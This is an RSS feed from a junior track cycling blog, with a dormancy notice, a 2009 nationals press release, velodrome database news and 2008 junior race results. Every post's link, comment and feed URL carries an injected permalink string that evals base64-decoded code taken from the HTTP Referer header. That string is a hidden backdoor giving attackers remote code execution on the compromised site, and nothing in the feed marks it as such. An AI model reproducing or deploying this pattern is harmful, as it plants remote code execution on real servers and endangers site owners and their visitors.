<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Junior Track Cycling</title>
	<link>http://www.juniorvelo.com</link>
	<description>Velodrome cycling for junior (18 and under) riders</description>
	<pubDate>Sun, 07 Mar 2010 19:55:49 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<item>
		<title>Still Dormant</title>
		<link>http://www.juniorvelo.com/2010/03/07/still-dormant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2010/03/07/still-dormant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 19:55:49 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
		
		<category><![CDATA[Cycling]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/2010/03/07/still-dormant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[I just want to warn any new visitors that this site is mostly dormant.  Maybe someday I will get around to fixing some of the scripts which have broken due to software changes beyond my control.  Other than that, you won&#8217;t see much action here.
Sorry for the lack of replies to comments - [...]]]></description>
			<content:encoded><![CDATA[<p>I just want to warn any new visitors that this site is mostly dormant.  Maybe someday I will get around to fixing some of the scripts which have broken due to software changes beyond my control.  Other than that, you won&#8217;t see much action here.</p>
<p>Sorry for the lack of replies to comments - I just have too many other things going on these days.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2010/03/07/still-dormant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Jr National Track Championships 2009-Press Release</title>
		<link>http://www.juniorvelo.com/2009/03/31/jr-national-track-championships-2009-press-release/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2009/03/31/jr-national-track-championships-2009-press-release/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 18:30:50 +0000</pubDate>
		<dc:creator>aeniii</dc:creator>
		
		<category><![CDATA[Cycling]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=740</guid>
		<description><![CDATA[2009 USA Cycling Junior Track National Championships Presented by OUCH Sports
Medical Center
CARSON, CA (March 30, 2009) — USA Cycling and the LA Velodrome at The Home Depot
Center are proud to announce that Dr. Brent Kay and the OUCH Sports Medical Center of
Temecula, Calif. will be the title sponsor of the 2009 USA Cycling Junior Track [...]]]></description>
			<content:encoded><![CDATA[<p>2009 USA Cycling Junior Track National Championships Presented by OUCH Sports<br />
Medical Center<br />
CARSON, CA (March 30, 2009) — USA Cycling and the LA Velodrome at The Home Depot<br />
Center are proud to announce that Dr. Brent Kay and the OUCH Sports Medical Center of<br />
Temecula, Calif. will be the title sponsor of the 2009 USA Cycling Junior Track Cycling National<br />
Championships, July 2-5, 2009 for the second consecutive year. Their continued involvement in<br />
this event allows the best junior track cyclists in the country to race on the best track in the<br />
country.<br />
OUCH Sports Medical Center is excited to partner with USA Cycling and The Home Depot Center<br />
to support Junior cycling. This sponsorship continues OUCH’s strong tradition of supporting track<br />
cycling development. OUCH Sports Medical Center has sponsored two-time World Champion<br />
and 2008 U.S. Olympic Team member, Sarah Hammer, as well as many other track events,<br />
including the USA Cycling Collegiate Track National Championships and the Los Angeles UCI<br />
World Cup event. They now sponsor the OUCH Pro Cycling Team. More information on the<br />
OUCH Sports Medical Center can be found at www.ouch1.com<br />
The 2009 USA Cycling Junior Track National Championships presented by OUCH Sports<br />
Medicine Center takes place over four days. The races are expected to bring more than 150 of<br />
the best junior track riders from around the country. Locally, we have many current and former<br />
Junior National Track Cycling Champions returning in an attempt to repeat their victories. Race<br />
information may be found at http://2009juniortrackcyclingnationals.com/ .<br />
The Los Angeles Velodrome is located on 125-acre Home Depot Center Complex in Carson,<br />
California, near Los Angeles, Calif. The LA Velodrome is a 100,000 square foot, $15 million<br />
specially designed 250 meter indoor wood bicycle racing track. It is also a United States Olympic<br />
Training Center and hosts training and competition under the guidance of USACycling, including<br />
state, national, world cup, and world championship events. For more information about the Home<br />
Depot Center go to www.HomeDepotCenter.com for more information about the Velodrome go to<br />
www.LaVelodrome.org.<br />
About USA Cycling<br />
Recognized by the United States Olympic Committee and the Union Cycliste Internationale, USA Cycling is the official<br />
governing body for all disciplines of competitive cycling in the United States, including road, track, mountain bike, BMX<br />
and cyclo-cross. As a membership-based organization and sanctioning body, USA Cycling consists of 64,000+ members,<br />
including 57,000 competitive cyclists, 1,500 coaches, 4,000 student-athletes, 2,200 officials, 350 professional cyclists, and<br />
200 certified mechanics. USA Cycling also sanctions 2,500 competitive and non-competitive organized cycling events<br />
throughout the United States annually, as well as 1,800 clubs and teams. Associations of USA Cycling include the United<br />
States Cycling Federation (road, track &amp; cyclo-cross), the National Off-Road Bicycle Association (mountain bike), the BMX<br />
Association, the National Collegiate Cycling Association and the United States Professional Racing Organization. USA<br />
Cycling is also responsible for the identification, development, support and promotion of American cyclists through various<br />
athletic initiatives and programs including the USA Cycling National Development Team, the USA Cycling Women’s<br />
National Team, the USA Cycling Junior Development Team, Talent Identification and Regional Development Camps,<br />
domestic and international race calendars, direct athlete funding and support programs, and educational camps and<br />
seminars. USA Cycling also fields and supports U.S. National Teams for various international events, including the<br />
Olympic Games, World Championships, Pan American Games, Continental Championship and World Cups across all<br />
levels and disciplines of competitive cycling. USA cycling further supports grass roots and locally-based initiatives<br />
through its 32 Local Associations and comprehensive network of licensed and certified coaches and officials. Additionally,<br />
USA Cycling conducts National Championship events for amateur and professional cyclists, awarding more than 600<br />
national titles annually to men and women in junior, U23, masters, elite, professional and paralympic categories<br />
throughout the various disciplines of competitive cycling. To learn more about USA Cycling, visit www.usacycling.org. For<br />
media-related or general inquiries, please contact USA Cycling Director of Communications, Andy Lee at 719-866-4867 or<br />
alee@usacycling.org.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2009/03/31/jr-national-track-championships-2009-press-release/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>2009 Junior Track Nationals</title>
		<link>http://www.juniorvelo.com/2008/11/25/2009-junior-track-nationals/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2008/11/25/2009-junior-track-nationals/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 26 Nov 2008 02:29:16 +0000</pubDate>
		<dc:creator>ariana</dc:creator>
		
		<category><![CDATA[Cycling]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=739</guid>
		<description><![CDATA[It looks like the 2009 Junior Track Nationals will be July 2-5 in Carson, CA.
]]></description>
			<content:encoded><![CDATA[<p>It looks like the 2009 Junior Track Nationals will be July 2-5 in Carson, CA.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2008/11/25/2009-junior-track-nationals/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>More Velodromes</title>
		<link>http://www.juniorvelo.com/2008/11/25/more-velodromes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2008/11/25/more-velodromes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 25 Nov 2008 21:55:15 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
		
		<category><![CDATA[Cycling]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=738</guid>
		<description><![CDATA[Thanks to Barry Langley, I have been jolted out of my laziness and into adding some velodromes to the database.
He directly provided the locations of velodromes in Poland and New Caledonia, and I added a few others once I got started.  Enjoy.
The database count as this is written is 582 velodromes in 80 countries [...]]]></description>
			<content:encoded><![CDATA[<p>Thanks to Barry Langley, I have been jolted out of my laziness and into adding some velodromes to the database.</p>
<p>He directly provided the locations of velodromes in Poland and New Caledonia, and I added a few others once I got started.  Enjoy.</p>
<p>The database count as this is written is 582 velodromes in 80 countries and now it is 611 velodromes in 83 countries.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2008/11/25/more-velodromes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>USA Nationals Video and Photos</title>
		<link>http://www.juniorvelo.com/2008/08/29/usa-nationals-video-and-photos/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2008/08/29/usa-nationals-video-and-photos/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 30 Aug 2008 00:43:49 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
		
		<category><![CDATA[ADT Event Center]]></category>

		<category><![CDATA[Cycling]]></category>

		<category><![CDATA[USA Nationals]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=737</guid>
		<description><![CDATA[Several short videos and some other material are available here.  It focuses on Northern California riders, but might be of interest to others.
Thanks to Greg for pointing out the link.
]]></description>
			<content:encoded><![CDATA[<p>Several short videos and some other material are <a href="http://ncnca.wordpress.com/">available here</a>.  It focuses on Northern California riders, but might be of interest to others.</p>
<p>Thanks to Greg for pointing out the link.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2008/08/29/usa-nationals-video-and-photos/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>British Championships</title>
		<link>http://www.juniorvelo.com/2008/08/21/british-championships/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2008/08/21/british-championships/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 21 Aug 2008 18:10:52 +0000</pubDate>
		<dc:creator>Yorick</dc:creator>
		
		<category><![CDATA[Cycling]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=736</guid>
		<description><![CDATA[For results of the British Junior and Youth Championships, click here
]]></description>
			<content:encoded><![CDATA[<p>For results of the British Junior and Youth Championships, click <a href="http://www.britishcycling.org.uk/web/site/BC/tra/EventReports2008/20080818_Junior_Champs.asp">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2008/08/21/british-championships/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Thanks for the Results</title>
		<link>http://www.juniorvelo.com/2008/08/17/thanks-for-the-results/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2008/08/17/thanks-for-the-results/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 17 Aug 2008 16:45:45 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
		
		<category><![CDATA[Cycling]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=735</guid>
		<description><![CDATA[Thanks to Ariana (who may or may not be the Ariana Cruz riding in 13-14) for all the results.  I have copied the timed results into the database.
Also, congratulations to all the riders participating in nationals.  Whether you are collecting medals, riding your personal best race and getting 15th, or just hanging in [...]]]></description>
			<content:encoded><![CDATA[<p>Thanks to Ariana (who may or may not be the Ariana Cruz riding in 13-14) for all the results.  I have copied the timed results into <a href="/?page_id=269">the database</a>.</p>
<p>Also, congratulations to all the riders participating in nationals.  Whether you are collecting medals, riding your personal best race and getting 15th, or just hanging in there, you are accomplishing something good.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2008/08/17/thanks-for-the-results/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>W 13-14 Omnium after 2 events (500 &#38; 4K)</title>
		<link>http://www.juniorvelo.com/2008/08/16/w-13-14-omnium-after-2-events-500-4k/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2008/08/16/w-13-14-omnium-after-2-events-500-4k/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 17 Aug 2008 04:38:25 +0000</pubDate>
		<dc:creator>ariana</dc:creator>
		
		<category><![CDATA[ADT Event Center]]></category>

		<category><![CDATA[Cycling]]></category>

		<category><![CDATA[USA Nationals]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=734</guid>
		<description><![CDATA[W 13-14	Omnium after 2 events
Place	Last	First	14
1	Chen	Sarah	8
2	Lawrence	Kaitlyn	5
3	Mccormick	Tara	4
4	Lopez	Karla	3
5	Ryan	Alexis	2
6	Huang	Sarah	0
7	Vandendreis	Dominique	0
8	Cross	Colleen	0
9	McDuff	Madeleine	0
10	Cruz	Ariana	0
11	Moore	Emily	0
]]></description>
			<content:encoded><![CDATA[<p>W 13-14	Omnium after 2 events<br />
Place	Last	First	14<br />
1	Chen	Sarah	8<br />
2	Lawrence	Kaitlyn	5<br />
3	Mccormick	Tara	4<br />
4	Lopez	Karla	3<br />
5	Ryan	Alexis	2<br />
6	Huang	Sarah	0<br />
7	Vandendreis	Dominique	0<br />
8	Cross	Colleen	0<br />
9	McDuff	Madeleine	0<br />
10	Cruz	Ariana	0<br />
11	Moore	Emily	0</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2008/08/16/w-13-14-omnium-after-2-events-500-4k/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>W 13-14 500 M Time Trial - FINAL</title>
		<link>http://www.juniorvelo.com/2008/08/16/w-13-14-500-m-time-trial-final/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2008/08/16/w-13-14-500-m-time-trial-final/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 16 Aug 2008 23:58:26 +0000</pubDate>
		<dc:creator>ariana</dc:creator>
		
		<category><![CDATA[Cycling]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=733</guid>
		<description><![CDATA[W 13-14	500 M Time Trial - FINAL
Place	Last	First	Time
1	Chen	Sarah	40.008
2	Mccormick	Tara	40.53
3	Lawrence	Kaitlyn	40.569
4	Ryan	Alexis	42.965
5	Lopez	Karla	43.11
6	Huang	Sarah	43.442
7	Vandendreis	Dominique	43.714
8	Cross	Colleen	45.963
9	McDuff	Madeleine	47.441
10	Cruz	Ariana	50.387
11	Moore	Emily	DSQ
]]></description>
			<content:encoded><![CDATA[<p>W 13-14	500 M Time Trial - FINAL<br />
Place	Last	First	Time<br />
1	Chen	Sarah	40.008<br />
2	Mccormick	Tara	40.53<br />
3	Lawrence	Kaitlyn	40.569<br />
4	Ryan	Alexis	42.965<br />
5	Lopez	Karla	43.11<br />
6	Huang	Sarah	43.442<br />
7	Vandendreis	Dominique	43.714<br />
8	Cross	Colleen	45.963<br />
9	McDuff	Madeleine	47.441<br />
10	Cruz	Ariana	50.387<br />
11	Moore	Emily	DSQ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2008/08/16/w-13-14-500-m-time-trial-final/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>M 10-12 1K - FINAL</title>
		<link>http://www.juniorvelo.com/2008/08/16/m-10-12-1k-final/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.juniorvelo.com/2008/08/16/m-10-12-1k-final/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 16 Aug 2008 23:57:40 +0000</pubDate>
		<dc:creator>ariana</dc:creator>
		
		<category><![CDATA[Cycling]]></category>

		<guid isPermaLink="false">http://www.juniorvelo.com/?p=732</guid>
		<description><![CDATA[M 10-12	1K - FINAL
Place	Last	First
1	Drummond	Dylan
2	Lopez	Eduardo
3	Valencia	Matthew
4	Madis	Erick
5	Jones	Everett
6	Bell	Samuel
7	Flores	Efren
8	Holland	Colton
9	Hall	Ronny
]]></description>
			<content:encoded><![CDATA[<p>M 10-12	1K - FINAL<br />
Place	Last	First<br />
1	Drummond	Dylan<br />
2	Lopez	Eduardo<br />
3	Valencia	Matthew<br />
4	Madis	Erick<br />
5	Jones	Everett<br />
6	Bell	Samuel<br />
7	Flores	Efren<br />
8	Holland	Colton<br />
9	Hall	Ronny</p>
]]></content:encoded>
			<wfw:commentRss>http://www.juniorvelo.com/2008/08/16/m-10-12-1k-final/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
